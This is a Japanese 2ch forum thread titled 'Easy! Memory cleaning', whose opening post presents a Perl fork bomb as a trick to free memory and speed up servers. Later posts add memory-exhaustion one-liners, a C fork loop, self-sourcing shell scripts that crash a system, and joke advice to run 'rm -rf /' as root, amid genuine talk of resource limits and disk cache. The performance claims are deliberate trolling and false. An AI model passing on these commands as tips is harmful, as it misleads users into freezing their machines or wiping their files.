簡単！メモリクリーニング

[0001 名無しさん＠お腹いっぱい。 NG NG]

UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。

[0261 名無しさん＠お腹いっぱい。 NG NG]

>>260
煽りなんだろうけど、いまいち意味がわからない。

[0262 名無しさん＠お腹いっぱい。 NG NG]

>>1 で落ちない、というだけでは十分ではない。

[0263 222 NG NG]

私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。

ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。

[0264 名無しさん＠お腹いっぱい。 NG NG]

じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・

[0265 222 NG NG]

運？

とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'

[0266 訂正 NG NG]

ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。

[0267 名無しさん＠お腹いっぱい。 NG NG]

それはもうこのスレとは無関係の固有問題かと

[0268 名無しさん＠お腹いっぱい。 NG NG]

>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。

一桁減らして
  perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。

[0269 名無しさん＠お腹いっぱい。 NG NG]

perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!

gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ？

[0270 222 NG NG]

0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'

ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。

[0271 名無しさん＠お腹いっぱい。 NG NG]

結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。

Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。

メモリとスワップの食い潰しは制限できるもんだろうか？
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。

FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。

[0272 名無しさん＠お腹いっぱい。 NG NG]

メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....

ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。

[0273 名無しさん＠お腹いっぱい。 NG NG]

┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛

[0274 名無しさん＠お腹いっぱい。 NG NG]

┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛

[0275 名無しさん＠お腹いっぱい。 NG NG]

minfree近所まで減ったらOSが勝手にやってくれるのに・・・

なんでいちいちンなこと実行するんですか？

[0276 名無しさん＠お腹いっぱい。 NG NG]

ここに真面目なひとが....

[0277 名無しさん＠お腹いっぱい。 NG NG]

× 真面目な
○ 空気を読む神経回路が備わってない

[0278 tatibana NG NG]

>>150
失礼ですね
どこの誰かもわからない低能と一緒にしないでいただきたい

[0279 あぼーん NG NG]

あぼーん

[0280 名無しさん＠お腹いっぱい。 NG NG]

結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの？

[0281 名無しさん＠お腹いっぱい。 NG NG]

メモリクリーニングするといいことあるの？

[0282 名無しさん＠お腹いっぱい。 NG NG]

勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。

[0283 名無しさん＠お腹いっぱい。 NG NG]

>>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。

[0284 あぼーん NG NG]

あぼーん

[0285 あぼーん NG NG]

あぼーん

[0286 名無しさん＠お腹いっぱい。 NG NG]

それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる

[0287 名無しさん＠お腹いっぱい。 NG NG]

メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。

[0288 名無しさん＠お腹いっぱい。 NG NG]

なんか妙なメモリ観が出たな。おもしろいから発展させてよ

[0289 名無しさん＠お腹いっぱい。 NG NG]

まさにドズという欠陥OSとそのアプリがもたらした電波だな。

[0290 NG NG]

犬板で割とよくある質問

----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS

freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。

そんなコマンドはないの？

くだらねえ質問はここに書きこめ！ Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177

[0291 名無しさん＠お腹いっぱい。 NG NG]

>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。

ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。

[0292 名無しさん＠お腹いっぱい。 NG NG]

>>291
漏れはむしろ、

MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人

だと思うのだがどうだ？

[0293 名無しさん＠お腹いっぱい。 NG NG]

>>292
むしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?

メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。

[0294 名無しさん＠お腹いっぱい。 NG NG]

俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。

[0295 名無しさん＠お腹いっぱい。 NG NG]

>>294
malloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな

[0296 名無しさん＠お腹いっぱい。 NG NG]

cmalloc

[0297 名無しさん＠お腹いっぱい。 NG NG]

cmallocってC言語・・・？
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね？

[0298 名無しさん＠お腹いっぱい。 NG NG]

あはは

[0299 あぼーん NG NG]

あぼーん

[0300 あぼーん NG NG]

あぼーん

[0301 名無しさん＠お腹いっぱい。 NG NG]

埋めるのなんざmemsetで一発だろ

[0302 名無しさん＠お腹いっぱい。 NG NG]

free(calloc(N,1));

[0303 あぼーん NG NG]

あぼーん

[0304 名無しさん＠お腹いっぱい。 NG NG]

>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。

[0305 名無しさん＠お腹いっぱい。 NG NG]

memsetとかallocとかいってるﾔｼ・・・

ネタだよね？

[0306 名無しさん＠お腹いっぱい。 NG NG]

>>294
> 実メモリの空きしか見てないどうしようもないソフトがあって。
キャッシュも見るようにおながいしてみれば？

[0307 294 NG NG]

>>304
プログラムのことはさっぱりわからないんだけど、それらはC言語の命令・・・なんだよね？

>>306
市販パッケージソフトなのでどうにもならないです・・・。

[0308 304 NG NG]

>>305
自分で試す気は毛頭無いけれど、まじめに書いているつもり。

[0309 あぼーん NG NG]

あぼーん

[0310 名無しさん＠お腹いっぱい。 NG NG]

>>307
＞C言語の命令

関数だろ、C なら。

[0311 名無しさん＠お腹いっぱい。 NG NG]

>>310
初心者にむなしいﾂｯｺﾐすんな

[0312 あぼーん NG NG]

あぼーん

[0313 名無しさん＠お腹いっぱい。 NG NG]

俺の頭にC言語の命令をとばすのはやめろおお

[0314 名無しさん＠お腹いっぱい。 NG NG]

win系はfork関数サポートしてないんじゃなかったっけ？

[0315 名無しさん＠お腹いっぱい。 NG NG]

fork関数
fork関数
fork関数

と。

[0316 名無しさん＠お腹いっぱい。 NG NG]

>>314 張っとく
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vccore/html/_core_port_from_unix_to_win32.asp

[0317 名無しさん＠お腹いっぱい。 NG NG]

システムコール入り口への関数

と捉えると、fork関数でもよいではないかよいではないか

[0318 名無しさん＠お腹いっぱい。 NG NG]

最近の話題ｻﾊﾟｰﾘ意味わからん

[0319 名無しさん＠お腹いっぱい。 NG NG]

forkダンス
forkダンス
forkダンス

と。

[0320 名無しさん＠お腹いっぱい。 NG NG]

>>1を走らせている状態（Load averageが1000を超えているような状態）でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない？

[0321 314 NG NG]

>>316
遅レススマソ。THX

[0322 あぼーん NG NG]

あぼーん

[0323 名無しさん＠お腹いっぱい。 NG NG]

むしろコスモクリーニング

[0324 名無しさん＠お腹いっぱい。 NG NG]

小宇宙クリーニング

[0325 名無しさん＠お腹いっぱい。 NG NG]

あるいはメモリリーキング

[0326 名無しさん＠お腹いっぱい。 NG NG]

リナックスは糞

これ常識

[0327 名無しさん＠お腹いっぱい。 NG NG]

なんじゃこりやぁぁぁぁぁぁぁぁぁぁ

[0328 名無しさん＠お腹いっぱい。 NG NG]

>>95
昔、MacOS8で応答しなくなり、二時間たっても回復しないから帰った
次の日見たら、応答してて待っていたダイアログ出してたｗ

[0329 名無しさん＠お腹いっぱい。 NG NG]

放置プレイ

[0330 名無しさん＠お腹いっぱい。 NG NG]

Mac埼京

[0331 名無しさん＠お腹いっぱい。 NG NG]

$echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init

とかだとどうかな？

[0332 名無しさん＠お腹いっぱい。 NG NG]

脂肪

[0333 名無しさん＠お腹いっぱい。 NG NG]

リナックス脂肪

[0334 あぼーん NG NG]

あぼーん

[0335 名無しさん＠お腹いっぱい。 NG NG]

強制シャットダウンでディスクを壊さん程度に。

[0336 名無しさん＠お腹いっぱい。 NG NG]

すげー、rm -rf /*　やったら超速くなりました

[0337 名無しさん＠お腹いっぱい。 NG NG]

すげー、rm -rf >>336 やったら超速くなりました

[0338 あぼーん NG NG]

あぼーん

[0339 名無しさん＠お腹いっぱい。 NG NG]

レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。

[0340 名無しさん＠お腹いっぱい。 NG NG]

>>336
rootになるのを忘れるな

[0341 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
. $0

[0342 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
case $1 in
>>1)
echo "逝ってよし"
;;
*)
echo "ウンコ喰え"
exit 1
;;
esac

exit 0

[0343 名無しさん＠お腹いっぱい。 NG NG]

>>338 すげー誤爆だな、
>>339　そうです。

[0344 名無しさん＠お腹いっぱい。 NG NG]

簡単！ディスククリーニング

[0345 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
. $0 &

[0346 名無しさん＠お腹いっぱい。 NG NG]

fork

[0347 名無しさん＠お腹いっぱい。 NG NG]

Linuxが糞だという事実を確認するためのスレはここですか？

[0348 名無しさん＠お腹いっぱい。 NG NG]

リナッ糞

[0349 名無しさん＠お腹いっぱい。 NG NG]

やっぱＷｉｎｄｏｗｓ最強だな

[0350 名無しさん＠お腹いっぱい。 NG NG]

>>2
そこで質問したら、

890 ：名無しさん＠お腹いっぱい。 ：03/05/01 07:02
>>889
rootでログインして

# rm -rf /

こんな答えしか返ってきませんでした。
だからまともなレスをもらうためにスレを立てるんです。
だいたい>>2は、そんな事を書くぐらいならアンインストールの方法を
一言書いてくれればいいじゃないですか。

[0351 名無しさん＠お腹いっぱい。 NG NG]

ちんちん

[0352 名無しさん＠お腹いっぱい。 NG NG]

ddのがナウイ

[0353 名無しさん＠お腹いっぱい。 NG NG]

exit 0

[0354 名無しさん＠お腹いっぱい。 NG NG]

洗剤つけてタワシでゴシゴシ洗え

[0355 名無しさん＠お腹いっぱい。 NG NG]

この程度でリナックスは氏ぬなんて糞OSですね。

[0356 名無しさん＠お腹いっぱい。 NG NG]

>>331
time ./init
./init 0.00s user 0.00s system 0% cpu 0.001 total

何か？

[0357 名無しさん＠お腹いっぱい。 NG NG]

>>356
子作りしてすぐ死ぬわけだから、
そいつ自体の負荷が小さいのは当然では？

[0358 名無しさん＠お腹いっぱい。 NG NG]

>>345

システム落ちた....

なんで？

[0359 名無しさん＠お腹いっぱい。 NG NG]

>>358
そのシステムってなぁに？？？

[0360 名無しさん＠お腹いっぱい。 NG NG]

>>358
わからんの？